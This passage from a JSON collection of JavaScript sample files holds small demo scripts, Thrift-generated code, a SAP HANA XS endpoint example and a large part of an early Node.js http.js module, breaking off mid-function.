WalkCombinator.pipe(\n      ...[\n        WalkCombinator.DEPTH_FIRST,\n        {\n          // We never work on Arrays\n          *inputs(path) {\n            if (Array.isArray(path)) return;\n            return yield path;\n          },\n        },\n        { inputs: MIN_VALUES },\n      ]\n    ).walk(ROOT);\n    for (const _ of minify) {\n    }\n    return ROOT;\n}\nimport mississippi from 'mississippi';\nprocess.stdin.pipe(\n  mississippi.concat(buff => {\n    const ROOT = optimize(`${buff}`)\n    console.error(\n      '%s',\n      util.inspect(ROOT.node, {\n        depth: null,\n        colors: true,\n      })\n    );\n    const out = escodegen.generate(ROOT.node);\n    console.log(out);\n  })\n);\n"
  },
  {
    "path": "samples/JavaScript/dude.js",
    "content": "alert(\"dude!\")\n"
  },
  {
    "path": "samples/JavaScript/entry.mjs",
    "content": "import bar from './module.mjs';\nfunction foo() {\n  return \"I am foo\";\n}\nexport {foo};\nconsole.log(bar);\n"
  },
  {
    "path": "samples/JavaScript/gen-js-linguist-thrift.js",
    "content": "//\n// Autogenerated by Thrift Compiler (1.0.0-dev)\n//\n// DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING\n//\n\n\nPullRequest = function(args) {\n  this.title = null;\n  if (args) {\n    if (args.title !== undefined) {\n      this.title = args.title;\n    }\n  }\n};\nPullRequest.prototype = {};\nPullRequest.prototype.read = function(input) {\n  input.readStructBegin();\n  while (true)\n  {\n    var ret = input.readFieldBegin();\n    var fname = ret.fname;\n    var ftype = ret.ftype;\n    var fid = ret.fid;\n    if (ftype == Thrift.Type.STOP) {\n      break;\n    }\n    switch (fid)\n    {\n      case 1:\n      if (ftype == Thrift.Type.STRING) {\n        this.title = input.readString().value;\n      } else {\n        input.skip(ftype);\n      }\n      break;\n      case 0:\n        input.skip(ftype);\n        break;\n      default:\n        input.skip(ftype);\n    }\n    input.readFieldEnd();\n  }\n  input.readStructEnd();\n  return;\n};\n\nPullRequest.prototype.write = function(output) {\n  output.writeStructBegin('PullRequest');\n  if (this.title !== null && this.title !== undefined) {\n    output.writeFieldBegin('title', Thrift.Type.STRING, 1);\n    output.writeString(this.title);\n    output.writeFieldEnd();\n  }\n  output.writeFieldStop();\n  output.writeStructEnd();\n  return;\n};\n\n"
  },
  {
    "path": "samples/JavaScript/hello.js",
    "content": "(function() {\n  console.log(\"Hello, World!\");\n}).call(this);\n"
  },
  {
    "path": "samples/JavaScript/helloHanaEndpoint.xsjs",
    "content": "/*\n invoke endpoint by calling in a browser:\n http://<hanaserveradress>:<xsengineport(usually 8000)>/<path>/<to>/<endpoint>/helloHanaMath.xsjslib?x=4&y=2\n e.g.:\n http://192.168.178.20:8000/geekflyer/linguist/helloHanaEndpoint.xsjs?x=4&y=2\n */\n\nvar hanaMath = $.import(\"./helloHanaMath.xsjslib\");\n\nvar x = parseFloat($.request.parameters.get(\"x\"));\nvar y = parseFloat($.request.parameters.get(\"y\"));\n\n\nvar result = hanaMath.multiply(x, y);\n\nvar output = {\n    title: \"Hello HANA XS - do some simple math\",\n    input: {x: x, y: y},\n    result: result\n};\n\n$.response.contentType = \"application/json\";\n$.response.statusCode = $.net.http.OK;\n$.response.setBody(JSON.stringify(output));"
  },
  {
    "path": "samples/JavaScript/helloHanaMath.xsjslib",
    "content": "/* simple hana xs demo library, which can be used by multiple endpoints */\n\nfunction multiply(x, y) {\n    return x * y;\n}\n\nfunction add(x, y) {\n    return x + y;\n}"
  },
  {
    "path": "samples/JavaScript/http.js",
    "content": "// Copyright Joyent, Inc. and other Node contributors.\n//\n// Permission is hereby granted, free of charge, to any person obtaining a\n// copy of this software and associated documentation files (the\n// \"Software\"), to deal in the Software without restriction, including\n// without limitation the rights to use, copy, modify, merge, publish,\n// distribute, sublicense, and/or sell copies of the Software, and to permit\n// persons to whom the Software is furnished to do so, subject to the\n// following conditions:\n//\n// The above copyright notice and this permission notice shall be included\n// in all copies or substantial portions of the Software.\n//\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN\n// NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,\n// DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR\n// OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE\n// USE OR OTHER DEALINGS IN THE SOFTWARE.\n\nvar util = require('util');\nvar net = require('net');\nvar stream = require('stream');\nvar url = require('url');\nvar EventEmitter = require('events').EventEmitter;\nvar FreeList = require('freelist').FreeList;\nvar HTTPParser = process.binding('http_parser').HTTPParser;\nvar assert = require('assert').ok;\nvar END_OF_FILE = {};\n\n\nvar debug;\nif (process.env.NODE_DEBUG && /http/.test(process.env.NODE_DEBUG)) {\n  debug = function(x) { console.error('HTTP: %s', x); };\n} else {\n  debug = function() { };\n}\n\n// Only called in the slow case where slow means\n// that the request headers were either fragmented\n// across multiple TCP packets or too large to be\n// processed in a single run. This method is also\n// called to process trailing HTTP headers.\nfunction parserOnHeaders(headers, url) {\n  // Once we exceeded headers limit - stop collecting them\n  if (this.maxHeaderPairs <= 0 ||\n      this._headers.length < this.maxHeaderPairs) {\n    this._headers = this._headers.concat(headers);\n  }\n  this._url += url;\n}\n\n// info.headers and info.url are set only if .onHeaders()\n// has not been called for this request.\n//\n// info.url is not set for response parsers but that's not\n// applicable here since all our parsers are request parsers.\nfunction parserOnHeadersComplete(info) {\n  var parser = this;\n  var headers = info.headers;\n  var url = info.url;\n\n  if (!headers) {\n    headers = parser._headers;\n    parser._headers = [];\n  }\n\n  if (!url) {\n    url = parser._url;\n    parser._url = '';\n  }\n\n  parser.incoming = new IncomingMessage(parser.socket);\n  parser.incoming.httpVersionMajor = info.versionMajor;\n  parser.incoming.httpVersionMinor = info.versionMinor;\n  parser.incoming.httpVersion = info.versionMajor + '.' + info.versionMinor;\n  parser.incoming.url = url;\n\n  var n = headers.length;\n\n  // If parser.maxHeaderPairs <= 0 - assume that there're no limit\n  if (parser.maxHeaderPairs > 0) {\n    n = Math.min(n, parser.maxHeaderPairs);\n  }\n\n  for (var i = 0; i < n; i += 2) {\n    var k = headers[i];\n    var v = headers[i + 1];\n    parser.incoming._addHeaderLine(k, v);\n  }\n\n\n  if (info.method) {\n    // server only\n    parser.incoming.method = info.method;\n  } else {\n    // client only\n    parser.incoming.statusCode = info.statusCode;\n    // CHECKME dead code? we're always a request parser\n  }\n\n  parser.incoming.upgrade = info.upgrade;\n\n  var skipBody = false; // response to HEAD or CONNECT\n\n  if (!info.upgrade) {\n    // For upgraded connections and CONNECT method request,\n    // we'll emit this after parser.execute\n    // so that we can capture the first part of the new protocol\n    skipBody = parser.onIncoming(parser.incoming, info.shouldKeepAlive);\n  }\n\n  return skipBody;\n}\n\nfunction parserOnBody(b, start, len) {\n  var parser = this;\n  var slice = b.slice(start, start + len);\n  if (parser.incoming._paused || parser.incoming._pendings.length) {\n    parser.incoming._pendings.push(slice);\n  } else {\n    parser.incoming._emitData(slice);\n  }\n}\n\nfunction parserOnMessageComplete() {\n  var parser = this;\n  parser.incoming.complete = true;\n\n  // Emit any trailing headers.\n  var headers = parser._headers;\n  if (headers) {\n    for (var i = 0, n = headers.length; i < n; i += 2) {\n      var k = headers[i];\n      var v = headers[i + 1];\n      parser.incoming._addHeaderLine(k, v);\n    }\n    parser._headers = [];\n    parser._url = '';\n  }\n\n  if (!parser.incoming.upgrade) {\n    // For upgraded connections, also emit this after parser.execute\n    if (parser.incoming._paused || parser.incoming._pendings.length) {\n      parser.incoming._pendings.push(END_OF_FILE);\n    } else {\n      parser.incoming.readable = false;\n      parser.incoming._emitEnd();\n    }\n  }\n\n  if (parser.socket.readable) {\n    // force to read the next incoming message\n    parser.socket.resume();\n  }\n}\n\n\nvar parsers = new FreeList('parsers', 1000, function() {\n  var parser = new HTTPParser(HTTPParser.REQUEST);\n\n  parser._headers = [];\n  parser._url = '';\n\n  // Only called in the slow case where slow means\n  // that the request headers were either fragmented\n  // across multiple TCP packets or too large to be\n  // processed in a single run. This method is also\n  // called to process trailing HTTP headers.\n  parser.onHeaders = parserOnHeaders;\n  parser.onHeadersComplete = parserOnHeadersComplete;\n  parser.onBody = parserOnBody;\n  parser.onMessageComplete = parserOnMessageComplete;\n\n  return parser;\n});\nexports.parsers = parsers;\n\n\nvar CRLF = '\\r\\n';\nvar STATUS_CODES = exports.STATUS_CODES = {\n  100 : 'Continue',\n  101 : 'Switching Protocols',\n  102 : 'Processing',                 // RFC 2518, obsoleted by RFC 4918\n  200 : 'OK',\n  201 : 'Created',\n  202 : 'Accepted',\n  203 : 'Non-Authoritative Information',\n  204 : 'No Content',\n  205 : 'Reset Content',\n  206 : 'Partial Content',\n  207 : 'Multi-Status',               // RFC 4918\n  300 : 'Multiple Choices',\n  301 : 'Moved Permanently',\n  302 : 'Moved Temporarily',\n  303 : 'See Other',\n  304 : 'Not Modified',\n  305 : 'Use Proxy',\n  307 : 'Temporary Redirect',\n  400 : 'Bad Request',\n  401 : 'Unauthorized',\n  402 : 'Payment Required',\n  403 : 'Forbidden',\n  404 : 'Not Found',\n  405 : 'Method Not Allowed',\n  406 : 'Not Acceptable',\n  407 : 'Proxy Authentication Required',\n  408 : 'Request Time-out',\n  409 : 'Conflict',\n  410 : 'Gone',\n  411 : 'Length Required',\n  412 : 'Precondition Failed',\n  413 : 'Request Entity Too Large',\n  414 : 'Request-URI Too Large',\n  415 : 'Unsupported Media Type',\n  416 : 'Requested Range Not Satisfiable',\n  417 : 'Expectation Failed',\n  418 : 'I\\'m a teapot',              // RFC 2324\n  422 : 'Unprocessable Entity',       // RFC 4918\n  423 : 'Locked',                     // RFC 4918\n  424 : 'Failed Dependency',          // RFC 4918\n  425 : 'Unordered Collection',       // RFC 4918\n  426 : 'Upgrade Required',           // RFC 2817\n  428 : 'Precondition Required',      // RFC 6585\n  429 : 'Too Many Requests',          // RFC 6585\n  431 : 'Request Header Fields Too Large',// RFC 6585\n  500 : 'Internal Server Error',\n  501 : 'Not Implemented',\n  502 : 'Bad Gateway',\n  503 : 'Service Unavailable',\n  504 : 'Gateway Time-out',\n  505 : 'HTTP Version not supported',\n  506 : 'Variant Also Negotiates',    // RFC 2295\n  507 : 'Insufficient Storage',       // RFC 4918\n  509 : 'Bandwidth Limit Exceeded',\n  510 : 'Not Extended',               // RFC 2774\n  511 : 'Network Authentication Required' // RFC 6585\n};\n\n\nvar connectionExpression = /Connection/i;\nvar transferEncodingExpression = /Transfer-Encoding/i;\nvar closeExpression = /close/i;\nvar chunkExpression = /chunk/i;\nvar contentLengthExpression = /Content-Length/i;\nvar dateExpression = /Date/i;\nvar expectExpression = /Expect/i;\nvar continueExpression = /100-continue/i;\n\nvar dateCache;\nfunction utcDate() {\n  if (!dateCache) {\n    var d = new Date();\n    dateCache = d.toUTCString();\n    setTimeout(function() {\n      dateCache = undefined;\n    }, 1000 - d.getMilliseconds());\n  }\n  return dateCache;\n}\n\n\n/* Abstract base class for ServerRequest and ClientResponse. */\nfunction IncomingMessage(socket) {\n  stream.Stream.call(this);\n\n  // TODO Remove one of these eventually.\n  this.socket = socket;\n  this.connection = socket;\n\n  this.httpVersion = null;\n  this.complete = false;\n  this.headers = {};\n  this.trailers = {};\n\n  this.readable = true;\n\n  this._paused = false;\n  this._pendings = [];\n\n  this._endEmitted = false;\n\n  // request (server) only\n  this.url = '';\n\n  this.method = null;\n\n  // response (client) only\n  this.statusCode = null;\n  this.client = this.socket;\n}\nutil.inherits(IncomingMessage, stream.Stream);\n\n\nexports.IncomingMessage = IncomingMessage;\n\n\nIncomingMessage.prototype.destroy = function(error) {\n  this.socket.destroy(error);\n};\n\n\nIncomingMessage.prototype.setEncoding = function(encoding) {\n  var StringDecoder = require('string_decoder').StringDecoder; // lazy load\n  this._decoder = new StringDecoder(encoding);\n};\n\n\nIncomingMessage.prototype.pause = function() {\n  this._paused = true;\n  this.socket.pause();\n};\n\n\nIncomingMessage.prototype.resume = function() {\n  this._paused = false;\n  if (this.socket) {\n    this.socket.resume();\n  }\n\n  this._emitPending();\n};\n\n\nIncomingMessage.prototype._emitPending = function(callback) {\n  if (this._pendings.length) {\n    var self = this;\n    process.nextTick(function() {\n      while (!self._paused && self._pendings.length) {\n        var chunk = self._pendings.shift();\n        if (chunk !== END_OF_FILE) {\n          assert(Buffer.isBuffer(chunk));\n          self._emitData(chunk);\n        } else {\n          assert(self._pendings.length === 0);\n          self.readable = false;\n          self._emitEnd();\n        }\n      }\n\n      if (callback) {\n        callback();\n      }\n    });\n  } else if (callback) {\n    callback();\n  }\n};\n\n\nIncomingMessage.prototype._emitData = function(d) {\n  if (this._decoder) {\n    var string = this._decoder.write(d);\n    if (string.length) {\n      this.emit('data', string);\n    }\n  } else {\n    this.emit('data', d);\n  }\n};\n\n\nIncomingMessage.prototype._emitEnd = function() {\n  if (!this._endEmitted) {\n    this.emit('end');\n  }\n\n  this._endEmitted = true;\n};\n\n\n// Add the given (field, value) pair to the message\n//\n// Per RFC2616, section 4.2 it is acceptable to join multiple instances of the\n// same header with a ', ' if the header in question supports specification of\n// multiple values this way. If not, we declare the first instance the winner\n// and drop the second. Extended header fields (those beginning with 'x-') are\n// always joined.\nIncomingMessage.prototype._addHeaderLine = function(field, value) {\n  var dest = this.complete ? this.trailers : this.headers;\n\n  field = field.toLowerCase();\n  switch (field) {\n    // Array headers:\n    case 'set-cookie':\n      if (field in dest) {\n        dest[field].push(value);\n      } else {\n        dest[field] = [value];\n      }\n      break;\n\n    // Comma separate. Maybe make these arrays?\n    case 'accept':\n    case 'accept-charset':\n    case 'accept-encoding':\n    case 'accept-language':\n    case 'connection':\n    case 'cookie':\n    case 'pragma':\n    case 'link':\n    case 'www-authenticate':\n    case 'sec-websocket-extensions':\n    case 'sec-websocket-protocol':\n      if (field in dest) {\n        dest[field] += ', ' + value;\n      } else {\n        dest[field] = value;\n      }\n      break;\n\n\n    default:\n      if (field.slice(0, 2) == 'x-') {\n        // except for x-\n        if (field in dest) {\n          dest[field] += ', ' + value;\n        } else {\n          dest[field] = value;\n        }\n      } else {\n        // drop duplicates\n        if (!(field in dest)) dest[field] = value;\n      }\n      break;\n  }\n};\n\n\nfunction OutgoingMessage() {\n  stream.Stream.call(this);\n\n  this.output = [];\n  this.outputEncodings = [];\n\n  this.writable = true;\n\n  this._last = false;\n  this.chunkedEncoding = false;\n  this.shouldKeepAlive = true;\n  this.useChunkedEncodingByDefault = true;\n  this.sendDate = false;\n\n  this._hasBody = true;\n  this._trailer = '';\n\n  this.finished = false;\n}\nutil.inherits(OutgoingMessage, stream.Stream);\n\n\nexports.OutgoingMessage = OutgoingMessage;\n\n\nOutgoingMessage.prototype.destroy = function(error) {\n  this.socket.destroy(error);\n};\n\n\n// This abstract either writing directly to the socket or buffering it.\nOutgoingMessage.prototype._send = function(data, encoding) {\n  // This is a shameful hack to get the headers and first body chunk onto\n  // the same packet. Future versions of Node are going to take care of\n  // this at a lower level and in a more general way.\n  if (!this._headerSent) {\n    if (typeof data === 'string') {\n      data = this._header + data;\n    } else {\n      this.output.unshift(this._header);\n      this.outputEncodings.unshift('ascii');\n    }\n    this._headerSent = true;\n  }\n  return this._writeRaw(data, encoding);\n};\n\n\nOutgoingMessage.prototype._writeRaw = function(data, encoding) {\n  if (data.length === 0) {\n    return true;\n  }\n\n  if (this.connection &&\n      this.connection._httpMessage === this &&\n      this.connection.writable) {\n    // There might be pending data in the this.output buffer.\n    while (this.output.length) {\n      if (!this.connection.writable) {\n        this._buffer(data, encoding);\n        return false;\n      }\n      var c = this.output.shift();\n      var e = this.outputEncodings.shift();\n      this.connection.write(c, e);\n    }\n\n    // Directly write to socket.\n    return this.connection.write(data, encoding);\n  } else {\n    this._buffer(data, encoding);\n    return false;\n  }\n};\n\n\nOutgoingMessage.prototype._buffer = function(data, encoding) {\n  if (data.length === 0) return;\n\n  var length = this.output.length;\n\n  if (length === 0 || typeof data != 'string') {\n    this.output.push(data);\n    this.outputEncodings.push(encoding);\n    return false;\n  }\n\n  var lastEncoding = this.outputEncodings[length - 1];\n  var lastData = this.output[length - 1];\n\n  if ((encoding && lastEncoding === encoding) ||\n      (!encoding && data.constructor === lastData.constructor)) {\n    this.output[length - 1] = lastData + data;\n    return false;\n  }\n\n  this.output.push(data);\n  this.outputEncodings.push(encoding);\n\n  return false;\n};\n\n\nOutgoingMessage.prototype._storeHeader = function(firstLine, headers) {\n  var sentConnectionHeader = false;\n  var sentContentLengthHeader = false;\n  var sentTransferEncodingHeader = false;\n  var sentDateHeader = false;\n  var sentExpect = false;\n\n  // firstLine in the case of request is: 'GET /index.html HTTP/1.1\\r\\n'\n  // in the case of response it is: 'HTTP/1.1 200 OK\\r\\n'\n  var messageHeader = firstLine;\n  var field, value;\n  var self = this;\n\n  function store(field, value) {\n    messageHeader += field + ': ' + value + CRLF;\n\n    if (connectionExpression.test(field)) {\n      sentConnectionHeader = true;\n      if (closeExpression.test(value)) {\n        self._last = true;\n      } else {\n        self.shouldKeepAlive = true;\n      }\n\n    } else if (transferEncodingExpression.test(field)) {\n      sentTransferEncodingHeader = true;\n      if (chunkExpression.test(value)) self.chunkedEncoding = true;\n\n    } else if (contentLengthExpression.test(field)) {\n      sentContentLengthHeader = true;\n    } else if (dateExpression.test(field)) {\n      sentDateHeader = true;\n    } else if (expectExpression.test(field)) {\n      sentExpect = true;\n    }\n  }\n\n  if (headers) {\n    var keys = Object.keys(headers);\n    var isArray = (Array.isArray(headers));\n    var field, value;\n\n    for (var i = 0, l = keys.length; i < l; i++) {\n      var key = keys[i];\n      if (isArray) {\n        field = headers[key][0];\n        value = headers[key][1];\n      } else {\n        field = key;\n        value = headers[key];\n      }\n\n      if (Array.isArray(value)) {\n        for (var j = 0; j < value.length; j++) {\n          store(field, value[j]);\n        }\n      } else {\n        store(field, value);\n      }\n    }\n  }\n\n  // Date header\n  if (this.sendDate == true && sentDateHeader == false) {\n    messageHeader += 'Date: ' + utcDate() + CRLF;\n  }\n\n  // keep-alive logic\n  if (sentConnectionHeader === false) {\n    var shouldSendKeepAlive = this.shouldKeepAlive &&\n        (sentContentLengthHeader ||\n         this.useChunkedEncodingByDefault ||\n         this.agent);\n    if (shouldSendKeepAlive) {\n      messageHeader += 'Connection: keep-alive\\r\\n';\n    } else {\n      this._last = true;\n      messageHeader += 'Connection: close\\r\\n';\n    }\n  }\n\n  if (sentContentLengthHeader == false && sentTransferEncodingHeader == false) {\n    if (this._hasBody) {\n      if (this.useChunkedEncodingByDefault) {\n        messageHeader += 'Transfer-Encoding: chunked\\r\\n';\n        this.chunkedEncoding = true;\n      } else {\n        this._last = true;\n      }\n    } else {\n      // Make sure we don't end the 0\\r\\n\\r\\n at the end of the message.\n      this.chunkedEncoding = false;\n    }\n  }\n\n  this._header = messageHeader + CRLF;\n  this._headerSent = false;\n\n  // wait until the first body chunk, or close(), is sent to flush,\n  // UNLESS we're sending Expect: 100-continue.\n  if (sentExpect) this._send('');\n};\n\n\nOutgoingMessage.prototype.setHeader = function(name, value) {\n  if (arguments.length < 2) {\n    throw new Error('`name` and `value` are required for setHeader().');\n  }\n\n  if (this._header) {\n    throw new Error('Can\\'t set headers after they are sent.');\n  }\n\n  var key = name.toLowerCase();\n  this._headers = this._headers || {};\n  this._headerNames = this._headerNames || {};\n  this._headers[key] = value;\n  this._headerNames[key] = name;\n};\n\n\nOutgoingMessage.prototype.getHeader = function(name) {\n  if (arguments.length < 1) {\n    throw new Error('`name` is required for getHeader().');\n  }\n\n  if (!this._headers) return;\n\n  var key = name.toLowerCase();\n  return this._headers[key];\n};\n\n\nOutgoingMessage.prototype.removeHeader = function(name) {\n  if (arguments.length < 1) {\n    throw new Error('`name` is required for removeHeader().');\n  }\n\n  if (this._header) {\n    throw new Error('Can\\'t remove headers after they are sent.');\n  }\n\n  if (!this._headers) return;\n\n  var key = name.toLowerCase();\n  delete this._headers[key];\n  delete this._headerNames[key];\n};\n\n\nOutgoingMessage.prototype._renderHeaders = function() {\n  if (this._header) {\n    throw new Error('Can\\'t render headers after they are sent to the client.');\n  }\n\n  if (!this._headers) return {};\n\n  var headers = {};\n  var keys = Object.keys(this._headers);\n  for (var i = 0, l = keys.length; i < l; i++) {\n    var key = keys[i];\n    headers[this._headerNames[key]] = this._headers[key];\n  }\n  return headers;\n};\n\n\n\nOutgoingMessage.prototype.write = function(chunk, encoding) {\n  if (!this._header) {\n    this._implicitHeader();\n  }\n\n  if (!this._hasBody) {\n    console.error('This type of response MUST NOT have a body. ' +\n                  'Ignoring write() calls.');\n    return true;\n  }\n\n  if (typeof chunk !== 'string' && !Buffer.isBuffer(chunk)) {\n    throw new TypeError('first argument must be a string or Buffer');\n  }\n\n  if (chunk.length === 0) return false;\n\n  var len, ret;\n  if (this.chunkedEncoding) {\n    if (typeof(chunk) === 'string') {\n      len = Buffer.byteLength(chunk, encoding);\n      chunk = len.toString(16) + CRLF + chunk + CRLF;\n      ret = this._send(chunk, encoding);\n    } else {\n      // buffer\n      len = chunk.length;\n      this._send(len.toString(16) + CRLF);\n      this._send(chunk);\n      ret = this._send(CRLF);\n    }\n  } else {\n    ret = this._send(chunk, encoding);\n  }\n\n  debug('write ret = ' + ret);\n  return ret;\n};\n\n\nOutgoingMessage.prototype.addTrailers = function(headers) {\n  this._trailer = '';\n  var keys = Object.keys(headers);\n  var isArray = (Array.isArray(headers));\n  var field, value;\n  for (var i = 0, l = keys.length; i < l; i++) {\n    var key = keys[i];\n    if (isArray) {\n      field = headers[key][0];\n      value = headers[key][1];\n    } else {\n      field = key;\n      value = headers[key];\n    }\n\n    this._trailer += field + ': ' + value + CRLF;\n  }\n};\n\n\nOutgoingMessage.prototype.end = function(data, encoding) {\n  if (this.finished) {\n    return false;\n  }\n  if (!this._header) {\n    this._implicitHeader();\n  }\n\n  if (data && !this._hasBody) {\n    console.error('This type of response MUST NOT have a body. ' +\n                  'Ignoring data passed to end().');\n    data = false;\n  }\n\n  var ret;\n\n  var hot = this._headerSent === false &&\n            typeof(data) === 'string' &&\n            data.length > 0 &&\n            this.output.length === 0 &&\n            this.connection &&\n            this.connection.writable &&\n            this.connection._httpMessage === this;\n\n  if (hot) {\n    // Hot path. They're doing\n    //   res.writeHead();\n    //   res.end(blah);\n    // HACKY.\n\n    if (this.chunkedEncoding) {\n      var l = Buffer.byteLength(data, encoding).toString(16);\n      ret = this.connection.write(this._header + l + CRLF +\n                                  data + '\\r\\n0\\r\\n' +\n                                  this._trailer + '\\r\\n', encoding);\n    } else {\n      ret = this.connection.write(this._header + data, encoding);\n    }\n    this._headerSent = true;\n\n  } else if (data) {\n    // Normal body write.\n    ret = this.write(data, encoding);\n  }\n\n  if (!hot) {\n    if (this.chunkedEncoding) {\n      ret = this._send('0\\r\\n' + this._trailer + '\\r\\n'); // Last chunk.\n    } else {\n      // Force a flush, HACK.\n      ret = this._send('');\n    }\n  }\n\n  this.finished = true;\n\n  // There is the first message on the outgoing queue, and we've sent\n  // everything to the socket.\n  debug('outgoing message end.');\n  if (this.output.length === 0 && this.connection._httpMessage === this) {\n    this._finish();\n  }\n\n  return ret;\n};\n\n\nOutgoingMessage.prototype._finish = function() {\n  assert(this.connection);\n  if (this instanceof ServerResponse) {\n    DTRACE_HTTP_SERVER_RESPONSE(this.connection);\n  } else {\n    assert(this instanceof ClientRequest);\n    DTRACE_HTTP_CLIENT_REQUEST(this, this.connection);\n  }\n  this.emit('finish');\n};\n\n\nOutgoingMessage.prototype._flush = function() {\n  // This logic is probably a bit confusing. Let me explain a bit:\n  //\n  // In both HTTP servers and clients it is possible to queue up several\n  // outgoing messages. This is easiest to imagine in the case of a client.\n  // Take the following situation:\n  //\n  //    req1 = client.request('GET', '/');\n  //    req2 = client.request('POST', '/');\n  //\n  // When the user does\n  //\n  //   req2.write('hello world\\n');\n  //\n  // it's possible that the first request has not been completely flushed to\n  // the socket yet. Thus the outgoing messages need to be prepared to queue\n  // up data internally before sending it on further to the socket's queue.\n  //\n  // This function, outgoingFlush(), is called by both the Server and Client\n  // to attempt to flush any pending messages out to the socket.\n\n  if (!this.socket) return;\n\n  var ret;\n  while (this.output.length) {\n\n    if (!this.socket.writable) return; // XXX Necessary?\n\n    var data = this.output.shift();\n    var encoding = this.outputEncodings.shift();\n\n    ret = this.socket.write(data, encoding);\n  }\n\n  if (this.finished) {\n    // This is a queue to the server or client to bring in the next this.\n    this._finish();\n  } else if (ret) {\n    // This is necessary to prevent https from breaking\n    this.emit('drain');\n  }\n};\n\n\n\n\nfunction ServerResponse(req) {\n  OutgoingMessage.call(this);\n\n  if (req.method === 'HEAD') this._hasBody = false;\n\n  this.sendDate = true;\n\n  if (req.httpVersionMajor < 1 || req.httpVersionMinor < 1) {\n    this.useChunkedEncodingByDefault = false;\n    this.shouldKeepAlive = false;\n  }\n}\nutil.inherits(ServerResponse, OutgoingMessage);\n\n\nexports.ServerResponse = ServerResponse;\n\nServerResponse.prototype.statusCode = 200;\n\nfunction onServerResponseClose() {\n  this._httpMessage.emit('close');\n}\n\nServerResponse.prototype.assignSocket = function(socket) {\n  assert(!socket._httpMessage);\n  socket._httpMessage = this;\n  socket.on('close', onServerResponseClose);\n  this.socket = socket;\n  this.connection = socket;\n  this._flush();\n};\n\nServerResponse.prototype.detachSocket = function(socket) {\n  assert(socket._httpMessage == this);\n  socket.removeListener('close', onServerResponseClose);\n  socket._httpMessage = null;\n  this.socket = this.connection = null;\n};\n\nServerResponse.prototype.writeContinue = function() {\n  this._writeRaw('HTTP/1.1 100 Continue' + CRLF + CRLF, 'ascii');\n  this._sent100 = true;\n};\n\nServerResponse.prototype._implicitHeader = function() {\n  this.writeHead(this.statusCode);\n};\n\nServerResponse.prototype.writeHead = function(statusCode) {\n  var reasonPhrase, headers, headerIndex;\n\n  if (typeof arguments[1] == 'string') {\n    reasonPhrase = arguments[1];\n    headerIndex = 2;\n  } else {\n    reasonPhrase = STATUS_CODES[statusCode] || 'unknown';\n    headerIndex = 1;\n  }\n  this.statusCode = statusCode;\n\n  var obj = arguments[headerIndex];\n\n  if (obj && this._headers) {\n    // Slow-case: when progressive API and header fields are passed.\n    headers = this._renderHeaders();\n\n    if (Array.isArray(obj)) {\n      // handle array case\n      // TODO: remove when array is no longer accepted\n      var field;\n      for (var i = 0, len = obj.length; i < len; ++i) {\n        field = obj[i][0];\n        if (field in headers) {\n          obj.push([field, headers[field]]);\n        }\n      }\n      headers = obj;\n\n    } else {\n      // handle object case\n      var keys = Object.keys(obj);\n      for (var i = 0; i < keys.length; i++) {\n        var k = keys[i];\n        if (k) headers[k] = obj[k];\n      }\n    }\n  } else if (this._headers) {\n    // only progressive api is used\n    headers = this._renderHeaders();\n  } else {\n    // only writeHead() called\n    headers = obj;\n  }\n\n  var statusLine = 'HTTP/1.1 ' + statusCode.toString() + ' ' +\n                   reasonPhrase + CRLF;\n\n  if (statusCode === 204 || statusCode === 304 ||\n      (100 <= statusCode && statusCode <= 199)) {\n    // RFC 2616, 10.2.5:\n    // The 204 response MUST NOT include a message-body, and thus is always\n    // terminated by the first empty line after the header fields.\n    // RFC 2616, 10.3.5:\n    // The 304 response MUST NOT contain a message-body, and thus is always\n    // terminated by the first empty line after the header fields.\n    // RFC 2616, 10.1 Informational 1xx:\n    // This class of status code indicates a provisional response,\n    // consisting only of the Status-Line and optional headers, and is\n    // terminated by an empty line.\n    this._hasBody = false;\n  }\n\n  // don't keep alive connections where the client expects 100 Continue\n  // but we sent a final status; they may put extra bytes on the wire.\n  if (this._expect_continue && ! this._sent100) {\n    this.shouldKeepAlive = false;\n  }\n\n  this._storeHeader(statusLine, headers);\n};\n\nServerResponse.prototype.writeHeader = function() {\n  this.writeHead.apply(this, arguments);\n};\n\n\n// New Agent code.\n\n// The largest departure from the previous implementation is that\n// an Agent instance holds connections for a variable number of host:ports.\n// Surprisingly, this is still API compatible as far as third parties are\n// concerned. The only code that really notices the difference is the\n// request object.\n\n// Another departure is that all code related to HTTP parsing is in\n// ClientRequest.onSocket(). The Agent is now *strictly*\n// concerned with managing a connection pool.\n\nfunction Agent(options) {\n  var self = this;\n  self.options = options || {};\n  self.requests = {};\n  self.sockets = {};\n  self.maxSockets = self.options.maxSockets || Agent.defaultMaxSockets;\n  self.on('free', function(socket, host, port, localAddress) {\n    var name = host + ':' + port;\n    if (localAddress) {\n      name += ':' + localAddress;\n    }\n\n    if (self.requests[name] && self.requests[name].length) {\n      self.requests[name].shift().onSocket(socket);\n      if (self.requests[name].length === 0) {\n        // don't leak\n        delete self.requests[name];\n      }\n    } else {\n      // If there are no pending requests just destroy the\n      // socket and it will get removed from the pool. This\n      // gets us out of timeout issues and allows us to\n      // default to Connection:keep-alive.\n      socket.destroy();\n    }\n  });\n  self.createConnection = net.createConnection;\n}\nutil.inherits(Agent, EventEmitter);\nexports.Agent = Agent;\n\nAgent.defaultMaxSockets = 5;\n\nAgent.prototype.defaultPort = 80;\nAgent.prototype.addRequest = function(req, host, port, localAddress) {\n  var name = host + ':' + port;\n  if (localAddress) {\n    name += ':' + localAddress;\n  }\n  if (!this.sockets[name]) {\n    this.sockets[name] = [];\n  }\n  if (this.sockets[name].length < this.maxSockets) {\n    // If we are under maxSockets create a new one.\n    req.onSocket(this.createSocket(name, host, port, localAddress));\n  } else {\n    // We are over limit so we'll add it to the queue.\n    if (!this.requests[name]) {\n      this.requests[name] = [];\n    }\n    this.requests[name].push(req);\n  }\n};\nAgent.prototype.createSocket = function(name, host, port, localAddress) {\n  var self = this;\n  var options = 